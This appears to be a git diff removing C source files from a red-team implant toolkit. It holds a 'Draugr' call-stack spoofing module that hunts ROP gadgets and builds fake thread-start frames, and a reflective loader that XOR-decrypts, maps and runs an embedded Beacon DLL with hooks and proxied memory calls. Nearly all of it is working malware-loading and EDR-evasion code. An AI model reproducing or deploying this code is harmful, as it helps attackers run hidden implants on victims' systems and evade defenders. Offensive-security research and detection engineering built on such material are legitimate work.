DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread (DWORD, BOOL, DWORD);
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread (DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE);
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep (DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE, DWORD, DWORD, DWORD, SIZE_T);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T *);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA (LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR);
DECLSPEC_IMPORT PRUNTIME_FUNCTION WINAPI KERNEL32$RtlLookupFunctionEntry (DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ();
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer (PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG);
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext (PCONTEXT);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ();
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE, DWORD, SIZE_T);
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx (PULONG);
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue (PCONTEXT, BOOLEAN);
/* the proxy pic */
DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
// God Bless Vulcan Raven.
typedef struct _STACK_FRAME {
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME, * PSTACK_FRAME;
typedef enum _UNWIND_OP_CODES {
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union _UNWIND_CODE {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE, *PUNWIND_CODE;
typedef struct _UNWIND_INFO {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode[1];
} UNWIND_INFO, *PUNWIND_INFO;
typedef struct _FRAME_INFO {
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO, * PFRAME_INFO;
typedef struct _SYNTHETIC_STACK_FRAME {
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID pGadget;
} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME;
typedef struct {
PVOID function;
int argc;
ULONG_PTR args[10];
} FUNCTION_CALL, * PFUNCTION_CALL;
typedef struct _DRAUGR_FUNCTION_CALL {
PFUNCTION_CALL FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL;
SYNTHETIC_STACK_FRAME g_stackFrame;
void initFrameInfo()
{
PVOID pModuleFrame1 = KERNEL32$GetModuleHandleA("kernel32.dll");
PVOID pModuleFrame2 = KERNEL32$GetModuleHandleA("ntdll.dll");
g_stackFrame.Frame1.ModuleAddress = pModuleFrame1;
g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk");
g_stackFrame.Frame1.Offset = 0x17;
g_stackFrame.Frame2.ModuleAddress = pModuleFrame2;
g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart");
g_stackFrame.Frame2.Offset = 0x2c;
g_stackFrame.pGadget = KERNEL32$GetModuleHandleA("KernelBase.dll");
}
BOOL getTextSectionSize(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize)
{
PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule);
if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew);
if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders);
for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++)
{
DWORD h = hash((char*)pImgSectionHeader[i].Name);
if (h == TEXT_HASH)
{
*pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress;
*pdwSize = pImgSectionHeader[i].SizeOfRawData;
return TRUE;
}
}
return FALSE;
}
PVOID calculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase)
{
PUNWIND_INFO pUnwindInfo = NULL;
ULONG unwindOperation = 0;
ULONG operationInfo = 0;
ULONG index = 0;
ULONG frameOffset = 0;
STACK_FRAME stackFrame;
memset(&stackFrame, 0, sizeof(stackFrame));
if (!pRuntimeFunction) {
return NULL;
}
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase);
while (index < pUnwindInfo->CountOfCodes)
{
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
/* don't use switch as it produces jump tables */
if (unwindOperation == UWOP_PUSH_NONVOL)
{
stackFrame.TotalStackSize += 8;
if (RBP_OP_INFO == operationInfo) {
stackFrame.PushRbp = TRUE;
stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes;
stackFrame.PushRbpIndex = index + 1;
}
}
else if (unwindOperation == UWOP_SAVE_NONVOL)
{
index += 1;
}
else if (unwindOperation == UWOP_ALLOC_SMALL)
{
stackFrame.TotalStackSize += ((operationInfo * 8) + 8);
}
else if (unwindOperation == UWOP_ALLOC_LARGE)
{
index += 1;
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
if (operationInfo == 0) {
frameOffset *= 8;
}
else {
index += 1;
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
}
stackFrame.TotalStackSize += frameOffset;
}
else if (unwindOperation == UWOP_SET_FPREG)
{
stackFrame.SetsFramePointer = TRUE;
}
else if (unwindOperation == UWOP_SAVE_XMM128)
{
return NULL;
}
index += 1;
}
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO))
{
index = pUnwindInfo->CountOfCodes;
if (0 != (index & 1)) {
index += 1;
}
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
return calculateFunctionStackSize(pRuntimeFunction, imageBase);
}
stackFrame.TotalStackSize += 8;
return (PVOID)(stackFrame.TotalStackSize);
}
PVOID calculateFunctionStackSizeWrapper(PVOID returnAddress)
{
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
DWORD64 ImageBase = 0;
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
if (!returnAddress) {
return NULL;
}
pRuntimeFunction = KERNEL32$RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable);
if (NULL == pRuntimeFunction) {
return NULL;
}
return calculateFunctionStackSize(pRuntimeFunction, ImageBase);
}
PVOID findGadget(PVOID pModuleAddr)
{
BOOL bFoundGadgets = FALSE;
DWORD dwTextSectionSize = 0;
DWORD dwTextSectionVa = 0;
DWORD dwCounter = 0;
ULONG seed = 0;
ULONG randomNbr = 0;
PVOID pModTextSection = NULL;
PVOID pGadgetList[15];
memset(&pGadgetList, 0, (sizeof(PVOID) * 8));
if (!bFoundGadgets)
{
if (!getTextSectionSize(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) {
return NULL;
}
pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa);
for (int i = 0; i < (dwTextSectionSize - 2); i++)
{
// Searching for jmp rbx gadget
if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23)
{
pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i);
dwCounter++;
if (dwCounter == 15) {
break;
}
}
}
bFoundGadgets = TRUE;
}
seed = 0x1337;
randomNbr = NTDLL$RtlRandomEx(&seed);
randomNbr %= dwCounter;
return pGadgetList[randomNbr];
}
ULONG_PTR draugrWrapper(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12)
{
int attempts = 0;
PVOID returnAddress = NULL;
DRAUGR_PARAMETERS draugrParameters;
memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS));
// configure BaseThreadInitThunk frame
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset);
draugrParameters.BaseThreadInitThunkStackSize = calculateFunctionStackSizeWrapper(returnAddress);
draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress;
if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) {
return (ULONG_PTR)(NULL);
}
// configure RtlUserThreadStart frame.
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset);
draugrParameters.RtlUserThreadStartStackSize = calculateFunctionStackSizeWrapper(returnAddress);
draugrParameters.RtlUserThreadStartReturnAddress = returnAddress;
if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) {
return (ULONG_PTR)(NULL);
}
/*
* Ensure that the gadget stack size is bigger than 0x80, which is min
* required to hold 10 arguments, otherwise it will crash sporadically.
*/
do {
draugrParameters.Trampoline = findGadget(g_stackFrame.pGadget);
draugrParameters.TrampolineStackSize = calculateFunctionStackSizeWrapper(draugrParameters.Trampoline);
attempts++;
// quick sanity check for infinite loop
if (attempts > 15) {
return (ULONG_PTR)(NULL);
}
} while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80));
if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) {
return (ULONG_PTR)(NULL);
}
// make the call!
return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12);
}
ULONG_PTR draugr(PFUNCTION_CALL functionCall)
{
/* very inelegant */
if (functionCall->argc == 0) {
return draugrWrapper(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 1) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 2) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 3) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 4) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 5) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 6) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 7) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 8) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 9) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL);
} else if (functionCall->argc == 10) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL);
} else if (functionCall->argc == 11) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL);
} else if (functionCall->argc == 12) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11));
}
return (ULONG_PTR)(NULL);
}
-270
View File
@@ -1,270 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
void go();
char * loaderStart() {
return (char *)go;
}
#include "loader.h"
#include "tp.h"
#include "proxy.h"
#define WIN32_FUNC( x ) __typeof__( x ) * x
typedef struct {
WIN32_FUNC(LoadLibraryA);
WIN32_FUNC(GetProcAddress);
DRAUGR Draugr;
} WIN32FUNCS;
char __DRAUGR__[0] __attribute__((section("draugr")));
char __HOOKS__[0] __attribute__((section("hooks")));
char __DLL__[0] __attribute__((section("dll")));
char __KEY__[0] __attribute__((section("key")));
void * allocateVirtualMemory(SIZE_T size, ULONG protect)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
void * baseAddress = NULL;
args.functionPtr = (ULONG_PTR)(NTDLL$NtAllocateVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(0);
args.argument4 = (ULONG_PTR)(&size);
args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE);
args.argument6 = (ULONG_PTR)(protect);
ProxyNtApi(&args);
return baseAddress;
}
void protectVirtualMemory(void * baseAddress, SIZE_T size, ULONG newProtect)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
ULONG oldProtect = 0;
args.functionPtr = (ULONG_PTR)(NTDLL$NtProtectVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(&size);
args.argument4 = (ULONG_PTR)(newProtect);
args.argument5 = (ULONG_PTR)(&oldProtect);
ProxyNtApi(&args);
}
void freeVirtualMemory(void * baseAddress)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
SIZE_T size = 0;
args.functionPtr = (ULONG_PTR)(NTDLL$NtFreeVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(&size);
args.argument4 = (ULONG_PTR)(MEM_RELEASE);
ProxyNtApi(&args);
}
void fixSectionPermissions(DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region)
{
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
DWORD sectionSize = 0;
DWORD newProtect = 0;
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int i = 0; i < numberOfSections; i++)
{
sectionDst = dst + sectionHdr->VirtualAddress;
sectionSize = sectionHdr->SizeOfRawData;
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
newProtect = PAGE_WRITECOPY;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
newProtect = PAGE_READONLY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
newProtect = PAGE_READWRITE;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
newProtect = PAGE_EXECUTE;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtect = PAGE_EXECUTE_WRITECOPY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtect = PAGE_EXECUTE_READ;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
newProtect = PAGE_EXECUTE_READWRITE;
}
/* set new permission */
protectVirtualMemory(sectionDst, sectionSize, newProtect);
/* track memory */
region->sections[i].baseAddress = sectionDst;
region->sections[i].size = sectionSize;
region->sections[i].currentProtect = newProtect;
region->sections[i].previousProtect = newProtect;
/* advance to our next section */
sectionHdr++;
}
}
void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout)
{
char * hookSrc;
PICO * hookDst;
RESOURCE * keyRes;
RESOURCE * beaconRes;
DLLDATA beaconData;
char * beaconSrc;
char * beaconDst;
/* Time to load the hook PICO */
hookSrc = GETRESOURCE(__HOOKS__);
/* Allocate memory for it */
hookDst = (PICO *)allocateVirtualMemory(sizeof(PICO), PAGE_READWRITE);
/* Load it into memory */
PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data);
/* Make the code section RX */
protectVirtualMemory(hookDst->code, PicoCodeSize(hookSrc), PAGE_EXECUTE_READ);
/* Fill layout info */
layout->hooks.baseAddress = (char *)hookDst;
layout->hooks.size = sizeof(PICO);
layout->hooks.sections[0].baseAddress = hookDst->data;
layout->hooks.sections[0].size = PicoDataSize(hookSrc);
layout->hooks.sections[0].currentProtect = PAGE_READWRITE;
layout->hooks.sections[0].previousProtect = PAGE_READWRITE;
layout->hooks.sections[1].baseAddress = hookDst->code;
layout->hooks.sections[1].size = PicoCodeSize(hookSrc);
layout->hooks.sections[1].currentProtect = PAGE_EXECUTE_READ;
layout->hooks.sections[1].previousProtect = PAGE_EXECUTE_READ;
/* Get PICO entry point */
PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hookSrc, hookDst->code);
/* Call it to install the hooks */
picoEntry((IMPORTFUNCS *)funcs, layout);
/* Get XOR key */
keyRes = (RESOURCE *)GETRESOURCE(__KEY__);
/* Get XOR'd DLL */
beaconRes = (RESOURCE *)GETRESOURCE(__DLL__);
/* Unmask and copy it into memory */
beaconSrc = allocateVirtualMemory(beaconRes->length, PAGE_READWRITE);
for (int i = 0; i < beaconRes->length; i++) {
beaconSrc[i] = beaconRes->value[i] ^ keyRes->value[i % keyRes->length];
}
/* Parse the headers */
ParseDLL(beaconSrc, &beaconData);
/* Allocate new memory for Beacon */
beaconDst = allocateVirtualMemory(SizeOfDLL(&beaconData), PAGE_READWRITE);
/* Load it into memory */
LoadDLL(&beaconData, beaconSrc, beaconDst);
ProcessImports((IMPORTFUNCS *)funcs, &beaconData, beaconDst);
layout->dll.baseAddress = beaconDst;
layout->dll.size = SizeOfDLL(&beaconData);
/* Fix section memory permissions */
fixSectionPermissions(&beaconData, beaconSrc, beaconDst, &layout->dll);
/* Call hook entry point again to provide the updated memory layout */
picoEntry((IMPORTFUNCS *)funcs, layout);
/* Get Beacon's entry point */
DLLMAIN_FUNC beaconEntry = EntryPoint(&beaconData, beaconDst);
/* Free the unmasked copy */
freeVirtualMemory(beaconSrc);
/* Call it twice */
beaconEntry((HINSTANCE)beaconDst, DLL_PROCESS_ATTACH, NULL);
beaconEntry((HINSTANCE)loaderStart(), 0x4, NULL);
}
void go()
{
WIN32FUNCS funcs;
RESOURCE * picSrc;
char * picDst;
MEMORY_LAYOUT layout;
funcs.LoadLibraryA = LoadLibraryA;
funcs.GetProcAddress = GetProcAddress;
/* Grab the Draugr PIC */
picSrc = (RESOURCE *)GETRESOURCE(__DRAUGR__);
/* Allocate memory for it */
picDst = allocateVirtualMemory(picSrc->length, PAGE_READWRITE);
/* Copy it into memory */
memcpy(picDst, picSrc->value, picSrc->length);
/* Flip memory to RX */
protectVirtualMemory(picDst, picSrc->length, PAGE_EXECUTE_READ);
/* Set funcs field */
funcs.Draugr = (DRAUGR)(picDst);
/* Begin filling memory layout info */
layout.pic.baseAddress = picDst;
layout.pic.size = picSrc->length;
/* Carry on loading the rest */
reflectiveLoader(&funcs, &layout);
}
-57
View File
@@ -1,57 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include "tcg.h"
#include "memory.h"
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
#define GETRESOURCE(x) (char *)&x
typedef struct {
int length;
char value[];
} RESOURCE;
typedef struct {
char data[4096];
char code[16384];
} PICO;
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtAllocateVirtualMemory (HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtProtectVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtFreeVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG);
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS *, MEMORY_LAYOUT *);
char * resolve(DWORD modHash, DWORD funcHash) {
char * hModule = (char *)findModuleByHash(modHash);
return findFunctionByHash(hModule, funcHash);
}
-48
View File
@@ -1,48 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
typedef struct {
void * baseAddress;
SIZE_T size;
DWORD currentProtect;
DWORD previousProtect;
} MEMORY_SECTION;
typedef struct {
void * baseAddress;
SIZE_T size;
MEMORY_SECTION sections[5];
} MEMORY_REGION;
typedef struct {
MEMORY_REGION pic;
